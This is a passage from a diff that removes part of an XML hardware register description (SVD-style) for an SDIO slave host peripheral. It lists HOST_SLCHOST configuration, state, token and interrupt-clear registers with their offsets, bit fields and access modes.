-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_RX_PF_VALID_INT_ST</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_EXT_BIT0_INT_ST</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_EXT_BIT1_INT_ST</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_EXT_BIT2_INT_ST</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_EXT_BIT3_INT_ST</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_WIFI_RX_NEW_PACKET_INT_ST</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_HOST_RD_RETRY_INT_ST</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_BT_RX_NEW_PACKET_INT_ST</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_PKT_LEN</name>
-          <addressOffset>0x60</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_HOSTSLC0_LEN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_HOSTSLC0_LEN_CHECK</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_STATE_W0</name>
-          <addressOffset>0x64</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLCHOST_STATE0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_STATE1</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_STATE2</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_STATE3</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_STATE_W1</name>
-          <addressOffset>0x68</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLCHOST_STATE4</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_STATE5</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_STATE6</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_STATE7</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_CONF_W0</name>
-          <addressOffset>0x6C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLCHOST_CONF0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF1</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF2</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF3</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_CONF_W1</name>
-          <addressOffset>0x70</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLCHOST_CONF4</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF5</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF6</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF7</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_CONF_W2</name>
-          <addressOffset>0x74</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLCHOST_CONF8</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF9</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF10</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF11</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_CONF_W3</name>
-          <addressOffset>0x78</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x000000C0</resetValue>
-          <fields>
-            <field>
-              <name>HOST_SLCHOST_CONF12</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF13</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF14</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF15</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_CONF_W4</name>
-          <addressOffset>0x7C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x000001FF</resetValue>
-          <fields>
-            <field>
-              <name>HOST_SLCHOST_CONF16</name>
-              <description>SLC timeout value</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF17</name>
-              <description>SLC timeout enable</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF18</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF19</name>
-              <description>Interrupt to target CPU</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_CONF_W5</name>
-          <addressOffset>0x80</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLCHOST_CONF20</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF21</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF22</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF23</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_WIN_CMD</name>
-          <addressOffset>0x84</addressOffset>
-          <size>0x20</size>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_CONF_W6</name>
-          <addressOffset>0x88</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLCHOST_CONF24</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF25</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF26</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF27</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_CONF_W7</name>
-          <addressOffset>0x8C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLCHOST_CONF28</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF29</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF30</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF31</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_PKT_LEN0</name>
-          <addressOffset>0x90</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_HOSTSLC0_LEN0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_PKT_LEN1</name>
-          <addressOffset>0x94</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_HOSTSLC0_LEN1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_PKT_LEN2</name>
-          <addressOffset>0x98</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_HOSTSLC0_LEN2</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_CONF_W8</name>
-          <addressOffset>0x9C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLCHOST_CONF32</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF33</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF34</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF35</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_CONF_W9</name>
-          <addressOffset>0xA0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLCHOST_CONF36</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF37</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF38</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF39</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_CONF_W10</name>
-          <addressOffset>0xA4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLCHOST_CONF40</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF41</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF42</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF43</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_CONF_W11</name>
-          <addressOffset>0xA8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLCHOST_CONF44</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF45</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF46</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF47</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_CONF_W12</name>
-          <addressOffset>0xAC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLCHOST_CONF48</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF49</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF50</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF51</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_CONF_W13</name>
-          <addressOffset>0xB0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLCHOST_CONF52</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF53</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF54</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF55</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_CONF_W14</name>
-          <addressOffset>0xB4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLCHOST_CONF56</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF57</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF58</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF59</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_CONF_W15</name>
-          <addressOffset>0xB8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLCHOST_CONF60</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF61</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF62</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_CONF63</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_CHECK_SUM0</name>
-          <addressOffset>0xBC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLCHOST_CHECK_SUM0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_CHECK_SUM1</name>
-          <addressOffset>0xC0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLCHOST_CHECK_SUM1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLC1HOST_TOKEN_RDATA</name>
-          <addressOffset>0xC4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLC1_TOKEN0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_RX_PF_VALID</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_HOSTSLC1_TOKEN1</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_RX_PF_EOF</name>
-              <bitOffset>28</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLC0HOST_TOKEN_WDATA</name>
-          <addressOffset>0xC8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLC0HOST_TOKEN0_WD</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0HOST_TOKEN1_WD</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLC1HOST_TOKEN_WDATA</name>
-          <addressOffset>0xCC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLC1HOST_TOKEN0_WD</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1HOST_TOKEN1_WD</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_TOKEN_CON</name>
-          <addressOffset>0xD0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLC0HOST_TOKEN0_DEC</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0HOST_TOKEN1_DEC</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0HOST_TOKEN0_WR</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0HOST_TOKEN1_WR</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1HOST_TOKEN0_DEC</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1HOST_TOKEN1_DEC</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1HOST_TOKEN0_WR</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1HOST_TOKEN1_WR</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0HOST_LEN_WR</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLC0HOST_INT_CLR</name>
-          <addressOffset>0xD4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT0_INT_CLR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT1_INT_CLR</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT2_INT_CLR</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT3_INT_CLR</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT4_INT_CLR</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT5_INT_CLR</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT6_INT_CLR</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT7_INT_CLR</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOKEN0_1TO0_INT_CLR</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOKEN1_1TO0_INT_CLR</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOKEN0_0TO1_INT_CLR</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOKEN1_0TO1_INT_CLR</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0HOST_RX_SOF_INT_CLR</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0HOST_RX_EOF_INT_CLR</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0HOST_RX_START_INT_CLR</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0HOST_TX_START_INT_CLR</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_RX_UDF_INT_CLR</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TX_OVF_INT_CLR</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_RX_PF_VALID_INT_CLR</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_EXT_BIT0_INT_CLR</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_EXT_BIT1_INT_CLR</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_EXT_BIT2_INT_CLR</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_EXT_BIT3_INT_CLR</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_RX_NEW_PACKET_INT_CLR</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_HOST_RD_RETRY_INT_CLR</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_GPIO_SDIO_INT_CLR</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLC1HOST_INT_CLR</name>
-          <addressOffset>0xD8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT0_INT_CLR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT1_INT_CLR</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT2_INT_CLR</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT3_INT_CLR</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT4_INT_CLR</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT5_INT_CLR</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT6_INT_CLR</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT7_INT_CLR</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOKEN0_1TO0_INT_CLR</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
